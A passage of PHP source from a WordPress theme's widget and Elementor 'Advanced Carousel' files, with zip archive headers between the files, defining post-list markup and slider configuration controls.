                                            <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>

                                <h4 class="side-title-post">
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php
										if ( ! $title_length || ! is_numeric( $title_length ) ) {
											if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
											} else {
												the_title();
											}
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										}
										?>
                                    </a>
                                </h4>
								<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
										<?php if ( $showauthor ): ?>
                                            <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        class="url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $postdate ): ?>
                                            <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( $showcomment ): ?>
                                            <span class="side-item-meta side-wcomments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( $showviews ): ?>
                                            <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </li>

					<?php $num ++; endwhile; ?>

            </ul>
			<?php
			if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
				?>
                <div class="penci-pagination penci-ajax-more pcwg-lposts">
                    <a class="penci-ajax-more-button pc-tabsajax-btn penci-wgajx-btn"
                       href="#" aria-label="More Posts">
                        <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                class="ajaxdot"></span><i
                                class="penci-faicon fa fa-refresh"></i> </a>
                </div>
				<?php
			} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                </div>
				<?php
			}
			if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
				?>
                <div class="pcwgajx-ld-wrapper">
					<?php echo penci_get_html_animation_loading( 'df' ); ?>
                </div>
				<?php
			}
			?>
        </div>

		<?php
	}

}
PK     N\Վ*]%  %  5  inc/elementor/modules/penci-media-carousel/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMediaCarousel;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-media-carousel';
	}

	public function get_widgets() {
		return array( 'PenciMediaCarousel' );
	}
}
PK     N\CԳԼ  Լ  K  inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMediaCarousel\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

//use Elementor\Group_Control_Box_Shadow;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMediaCarousel extends Base_Widget {

	public function get_name() {
		return 'penci-media-carousel';
	}

	public function get_script_depends() {
		return array( 'imagesloaded' );
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced Carousel', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-media-carousel';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'media', 'carousel', 'image', 'video', 'lightbox' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_slider_options',
			array(
				'label' => __( 'General', 'soledad' ),
				'type'  => Controls_Manager::SECTION,
			)
		);

		$this->add_control(
			'contentpos', array(
				'label'   => __( 'Slider Content Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'below',
				'options' => array(
					'below' => esc_html__( 'Below Image', 'soledad' ),
					'above' => esc_html__( 'Above Image', 'soledad' ),
					'on'    => esc_html__( 'On Image', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'overlap_imgurl', array(
				'label'     => __( 'Image link overlap on the whole slide?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'selectors' => array(
					'{{WRAPPER}} .pc-ctpos-on .penci-media-content > a' => 'z-index: 5;',
				),
				'condition' => array( 'contentpos' => 'on' )
			)
		);

		$this->add_responsive_control(
			'slides_item_gap', array(
				'label'     => __( 'Gap Between Items', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array(
					'{{WRAPPER}} .penci-advanced-carousel-mg'                  => 'margin-left: calc( {{SIZE}}px * -1 / 2 ); margin-right: calc( {{SIZE}}px * -1 / 2 );',
					'{{WRAPPER}} .penci-media-inner'                           => 'padding-left: calc( {{SIZE}}px / 2 ); padding-right: calc( {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev' => 'left: calc( 15px + {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'right: calc( 15px + {{SIZE}}px / 2 );',
				),
			)
		);
		$slides_per_view = range( 1, 10 );
		$slides_per_view = array_combine( $slides_per_view, $slides_per_view );
		$this->add_responsive_control(
			'slides_per_view', array(
				'type'               => Controls_Manager::SELECT,
				'label'              => __( 'Slides Per View', 'soledad' ),
				'options'            => $slides_per_view,
				'frontend_available' => true,
				'default'            => '3',
				'tablet_default'     => '2',
				'mobile_default'     => '1',
			)
		);

		$this->add_responsive_control(
			'img_ratio', array(
				'label'     => __( 'Ratio Height/Width of Images', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0.1, 'max' => 3, 'step' => 0.01 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-image-holder:before' => 'padding-top:calc( {{SIZE}} * 100% );',
				),
			)
		);

		$this->add_control( 'single_slider_effect', array(
			'label'       => __( 'General Slider Effect', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_single_slider_effect', 'creative' ),
			'options'     => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
		) );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'     => __( 'Autoplay', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before',
			)
		);
		$this->add_control(
			'loop', array(
				'label'     => __( 'Slider Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'   => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 800,
			)
		);
		$this->add_control(
			'shownav', array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'image_size', array(
				'label'     => __( 'Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'separator' => 'before',
				'options'   => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'image_size_mobile', array(
				'label'   => __( 'Image size on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'image_fit', array(
				'label'     => __( 'Image Fit', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''          => __( 'Cover', 'soledad' ),
					'contain'   => __( 'Contain', 'soledad' ),
					'100% auto' => __( 'Width:100% x Height: Auto', 'soledad' ),
					'auto 100%' => __( 'Width:Auto x Height: 100%', 'soledad' ),
				),
				'selectors' => array( '{{WRAPPER}} .penci-media-item .penci-image-holder' => 'background-size: {{VALUE}}' )
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_slides', array(
				'label' => esc_html__( 'Slider Items', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'carousel_repeater' );
		$repeater->start_controls_tab( 'content', array( 'label' => __( 'Content', 'soledad' ) ) );

		$repeater->add_control(
			'type', array(
				'type'        => Controls_Manager::CHOOSE,
				'label'       => __( 'Type', 'soledad' ),
				'default'     => 'image',
				'options'     => array(
					'image' => array(
						'title' => __( 'Image', 'soledad' ),
						'icon'  => 'eicon-image-bold'
					),
					'video' => array(
						'title' => __( 'Video', 'soledad' ),
						'icon'  => 'eicon-video-camera'
					)
				),
				'label_block' => false,
				'toggle'      => false,
			)
		);

		$repeater->add_control(
			'image', array(
				'label' => __( 'Image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA
			)
		);
		$repeater->add_control(
			'image_link_to_type', array(
				'label'     => __( 'Link', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''       => __( 'None', 'soledad' ),
					'file'   => __( 'Media File', 'soledad' ),
					'custom' => __( 'Custom URL', 'soledad' )
				),
				'condition' => array( 'type' => 'image' )
			)
		);

		$repeater->add_control(
			'image_link_to', array(
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'condition'   => array(
					'type'               => 'image',
					'image_link_to_type' => 'custom'
				),
				'separator'   => 'none',
				'show_label'  => false
			)
		);

		$repeater->add_control(
			'video', array(
				'label'         => __( 'Video Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'placeholder'   => __( 'Enter your video link', 'soledad' ),
				'description'   => __( 'YouTube or Vimeo link', 'soledad' ),
				'show_external' => false,
				'condition'     => array( 'type' => 'video' )
			)
		);

		$repeater->add_control(
			'stitle_text', array(
				'label'       => __( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => '',
				'placeholder' => __( 'Enter your sub title', 'soledad' ),
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$repeater->add_control(
			'title_text', array(
				'label'       => __( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the heading', 'soledad' ),
				'placeholder' => __( 'Enter your title', 'soledad' ),
				'label_block' => true,
			)
		);
		$repeater->add_control(
			'description_text', array(
				'label'       => __( 'Description', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => __( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.', 'soledad' ),
				'placeholder' => __( 'Enter your description', 'soledad' ),
				'separator'   => 'none',
			)
		);

		$repeater->add_control(
			'heading_rmbtn', array(
				'label'     => __( 'Add Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$repeater->add_control(
			'treadmore', array(
				'label'   => __( 'Button Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '',
			)
		);

		$repeater->add_control(
			'rmlink', array(
				'label'       => __( 'Button Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);

		$repeater->add_control(
			'btnadd_icon', array(
				'label'        => __( 'Add Icon to Button?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);

		$repeater->add_control(
			'rmicon', array(
				'label'     => __( 'Button Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => [
					'value'   => 'fas fa-star',
					'library' => 'solid',
				],
				'condition' => array( 'btnadd_icon' => 'yes' ),
			)
		);

		$repeater->add_control(
			'icon_pos', array(
				'label'     => __( 'Icon Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'left'  => 'Before',
					'right' => 'After',
				),
				'default'   => 'left',
				'condition' => array( 'btnadd_icon' => 'yes' ),
			)
		);

		$repeater->add_responsive_control(
			'icon_space', array(
				'label'     => __( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-left i, {{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-left svg'   => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-right i, {{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-right svg' => 'margin-left: {{SIZE}}px;',
				),
				'condition' => array( 'btnadd_icon' => 'yes' ),
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'overlay', array( 'label' => __( 'Overlay', 'soledad' ) ) );

		$repeater->add_control(
			'iheading_overlayimg', array(
				'label' => __( 'Overlay on Image', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'iimg_overlay',
				'label'    => __( 'Image Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} {{CURRENT_ITEM}} .pc-adcr-overlay',
			)
		);

		$repeater->add_responsive_control(
			'ioverlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->add_responsive_control(
			'ioverlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-inct:hover .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->add_control(
			'iheading_overlayct', array(
				'label' => __( 'Overlay on Content', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'ict_overlay',
				'label'    => __( 'Content Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} {{CURRENT_ITEM}} .pc-media-ctinner:before',
			)
		);

		$repeater->add_responsive_control(
			'ictoverlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->add_responsive_control(
			'ictoverlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-inct:hover .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'style', array( 'label' => __( 'Style', 'soledad' ) ) );

		$repeater->add_control(
			'icustom', array(
				'label'       => __( 'Custom', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'Set custom style that will only affect this item only. To adjust the style for all items, check options on the "Style" tab at the top.', 'soledad' ),
			)
		);

		$repeater->add_responsive_control(
			'itext_align', array(
				'label'     => __( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-content' => 'text-align: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'icontent_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'description'          => __( 'This option just applies when you selected content to display on the image.', 'soledad' ),
				'condition'            => array( 'icustom' => 'yes' ),
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pc-ctpos-on {{CURRENT_ITEM}} .penci-media-content' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$repeater->add_control(
			'istitle_color', array(
				'label'     => __( 'Sub Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-stit' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'ititle_color', array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-title' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'idescription_color', array(
				'label'     => __( 'Description Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-desc' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'idescription_linkcolor', array(
				'label'     => __( 'Links Color on Description', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-desc a' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'irm_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a' => 'background-color: {{VALUE}};' ),
			)
		);
		$repeater->add_control(
			'irm_bghcolor',
			array(
				'label'     => __( 'Button Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a:hover' => 'background-color: {{VALUE}};' ),
			)
		);
		$repeater->add_control(
			'irm_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a' => 'color: {{VALUE}};' ),
			)
		);
		$repeater->add_control(
			'irm_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$repeater->add_control(
			'irm_bcolor',
			array(
				'label'     => __( 'Button Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'icustom' => 'yes' ),
			)
		);
		$repeater->add_control(
			'irm_hbcolor',
			array(
				'label'     => __( 'Button Hover Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a:hover' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'icustom' => 'yes' ),
			)
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();


		$this->add_control(
			'slides', array(
				'label'     => __( 'Slides', 'soledad' ),
				'type'      => Controls_Manager::REPEATER,
				'fields'    => $repeater->get_controls(),
				'default'   => array(
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
				),
				'separator' => 'after',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_spacing', array(
				'label' => __( 'Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE
			)
		);

		$this->add_responsive_control(
			'slides_padding', array(
				'label'      => __( 'Padding for Whole Slides', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-inct' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'title_top_space', array(
				'label'     => __( 'Content Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'condition' => array( 'contentpos' => 'below' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels.pc-ctpos-below .penci-media-content' => 'margin-top: {{SIZE}}px;'
				)
			)
		);

		$this->add_responsive_control(
			'title_bottom_space', array(
				'label'     => __( 'Content Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'condition' => array( 'contentpos' => 'above' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels.pc-ctpos-above .penci-media-content' => 'margin-bottom: {{SIZE}}px;'
				)
			)
		);

		$this->add_responsive_control(
			'content_space', array(
				'label'      => __( 'Content Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-carousels.pc-ctpos-on .pc-media-ctinner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'contentpos' => 'on' ),
			)
		);

		$this->add_responsive_control(
			'content_padding', array(
				'label'      => __( 'Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-carousels .pc-media-ctinner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'stit_bottom_space', array(
				'label'     => __( 'Sub Title Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-stit' => 'margin-bottom: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->add_responsive_control(
			'desc_top_space', array(
				'label'     => __( 'Description Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-desc' => 'margin-top: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->add_responsive_control(
			'button_top_space', array(
				'label'     => __( 'Read More Button Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-rmbtn' => 'margin-top: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_overlay', array(
				'label' => __( 'Slides Overlay', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE
			)
		);

		$this->add_control(
			'heading_overlayimg', array(
				'label' => __( 'Overlay on Image', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'img_overlay',
				'label'    => __( 'Image Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .pc-adcr-overlay',
			)
		);

		$this->add_responsive_control(
			'overlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->add_responsive_control(
			'overlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-inct:hover .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->add_control(
			'heading_overlayct', array(
				'label' => __( 'Overlay on Content', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'ct_overlay',
				'label'    => __( 'Content Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .pc-media-ctinner:before',
			)
		);

		$this->add_responsive_control(
			'ctoverlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
